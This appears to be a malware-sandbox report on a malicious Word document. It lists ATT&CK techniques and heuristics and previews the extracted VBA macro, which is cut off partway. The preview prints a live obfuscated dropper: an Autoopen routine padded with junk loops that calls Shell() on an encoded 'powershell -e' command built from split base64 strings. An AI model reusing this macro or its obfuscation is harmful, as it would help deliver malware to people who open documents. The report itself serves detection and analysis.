MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The Autoopen macro and a Shell() call within the VBA code indicate an attempt to execute arbitrary commands. The script's obfuscated nature and the use of Shell() suggest it is designed to download and execute a secondary payload, a common technique for malware delivery.
Heuristics 6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13517 bytes |
SHA-256: ed6e7d571b60bc9d8437799222826922c35f02b35f96dcf185bc2fafecc850ba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vibzwiHDALn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function KhWtji()
On Error Resume Next
For wztpTV = VdtoTA To YjNvno
For jpfDYp = DmmwbV To 62560
FXjnv = (18964 / CBool(SrQksB) - iWJFT / Oct(23978 / Hex(20323) / lvjDS + Rnd(GpsfSB / Fix(37))))
Next
pMztSt = 43695 - 77588
Next
For nzurIQ = VCUMrm To HrrzLB
For FZzio = KMBTn To 49696
HiJbiq = (2054 / CBool(cwomD) - rBauK / Oct(75335 / Hex(27770) / XuIUGi + Rnd(BAZRn / Fix(37))))
Next
YhQQVA = 2423 - 55290
Next
KhWtji = zEqPZXj + Shell(CuinjSSTfwc + Chr(pwWYOAbOHVC + vbKeyP + vZbLViJtXS) + "owers" + QJowm + ZtGESSiOtWf + mAoprfsVCz + PwMjP + wcokNEk, 88508 - 88508)
For LvkmSK = YcmkZL To SNjWO
For zPUQqS = KdpnN To 10482
iNkTLz = (51048 / CBool(wfCHNS) - DldmBd / Oct(92954 / Hex(52231) / vAqQv + Rnd(zXTPjF / Fix(37))))
Next
QLRBVT = 80103 - 26999
Next
End Function
Sub Autoopen()
On Error Resume Next
For FCMaDJ = ESmlQY To GKjIf
For nwlsZV = VAIdl To 11046
uoEVj = (80491 / CBool(PwuTNr) - KqpKK / Oct(67017 / Hex(91799) / QTAir + Rnd(EKJAK / Fix(37))))
Next
QSGKY = 79914 - 66134
Next
KhWtji
For BqZMd = LJSSb To QoXkU
For wrLml = Cjjsk To 57935
UAXEau = (78205 / CBool(Zuurq) - nvcuV / Oct(81485 / Hex(43386) / qMPFGJ + Rnd(iSYofG / Fix(37))))
Next
sjzqf = 94709 - 46413
Next
End Sub
Attribute VB_Name = "QuutOlHzPnPdJL"
Function QJowm()
On Error Resume Next
For NQzJu = mYcvnd To FnXkhL
For FUDHaA = ljWqH To 8515
SqfWYP = (88761 / CBool(AjwSY) - lwIttT / Oct(98710 / Hex(86269) / qjuiB + Rnd(FFfZDm / Fix(37))))
Next
rOIwzE = 38096 - 43168
Next
njqMlEirf = "HeLL -e KA" + "BuAGUA" + "VwAtAG8AYgBqA" + "EUAYwBUA" + "CAAIABTA" + "HkAcw" + "B0A" + "GUATQAu" + "AGkA"
For HbFAl = wOlwZ To pmihtM
For aQtUJo = tkzVv To 48179
fbScAD = (84368 / CBool(RoGMU) - biOEs / Oct(47930 / Hex(91332) / OHwMiT + Rnd(RPBAl / Fix(37))))
Next
LLFsI = 5804 - 34904
Next
mCWkr = "bwAuAGMAbwBtAH" + "AAUgBFAFMAc" + "wBJAE8Abg" + "AuAGQAZQBGA" + "EwAQQBUAEUAcw" + "BUAHIAZQBhA" + "G0AK" + "AAgAFsASQBPAC4A" + "TQBlAE0ATwBS" + "AHkAUwBUAHIA"
For EOwTER = iQDAv To MLfnZX
For AYELis = SJLjV To 56434
KszsaB = (11669 / CBool(wwAqYw) - ZFifV / Oct(97004 / Hex(61354) / llMBn + Rnd(FTiSq / Fix(37))))
Next
SfuwV = 81744 - 34817
Next
CBhNRvpfE = "RQBhAG0AXQA" + "gAFsAYwBvAE4" + "AdgBFAHIAVABdAD" + "oAOgBGAFI" + "ATwBNAEIAYQBzA" + "EUA" + "NgA0AHMAV" + "ABSA" + "GkATgBnACgAI"
For GKrTSR = GAqHwi To OHOASI
For fWYivh = LkJfjF To 5975
ttiVpw = (35083 / CBool(KtYjRn) - VYJjbo / Oct(37681 / Hex(70143) / jpvQh + Rnd(QYfoNV / Fix(37))))
Next
wSuNj = 26693 - 79350
Next
mXWwcAiF = "AAnAFYAWgBC" + "AHQAVAA4AE" + "kAdwBGAEkA" + "WAAvAFMAagA4AHM" + "ARwBVAFQAcABCAE" + "EAUwBWAHgAUQ"
For wcXzo = XYcma To LlADB
For hdzDd = PCbqm To 26865
FvzlN = (44810 / CBool(tVtzD) - nMGKS / Oct(82996 / Hex(22328) / jMXuzw + Rnd(lfjmOh / Fix(37))))
Next
NMAnj = 69945 - 23131
Next
aJwdGR = "BUAGwAUgBVAGgA" + "RQBOAEMAU" + "ABoAGkANABuAHAA" + "eAB0ADEAVwA" + "2AE4AcQBsA" + "HYAVwBPAD" + "gAaABQADkAdQBCA" + "GM"
For jAzbl = wRXuC To ZicrNY
For IqMMpU = ztKfK To 52382
UcXuX = (25268 / CBool(oOJrLF) - ikJZHD / Oct(6479 / Hex(41498) / nKGSD + Rnd(GsjbK / Fix(37))))
Next
GFwqL = 98802 - 39261
Next
jbilCduqOw = "AV" + "AA0AH" + "AAYg" + "BuAHQAZ" + "QBVA"
For DUiPYU = BGDXO To FjkQui
For HRHkvp = fMiwE To 67217
USjrti = (88200 / CBool(ljDwG) - VMZQV / Oct(67852 / Hex(39572) / MtUizd + Rnd(XHTfFk / Fix(37))))
Next
EZBvr = 3590 - 60495
Next
wQOjaHrEA = "DUATw" + "A3ADMASABDAD" + "IA" + "ZQBBAGoAS" + "gBZADkARQBRAG" + "wAbABUADQ" + "AUgBJA" + "GkASgBKAH" + "IASgBoAGMAc"
QJowm = njqMlEirf + mCWkr + CBhNRvpfE + mXWwcAiF + aJwdGR + j
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.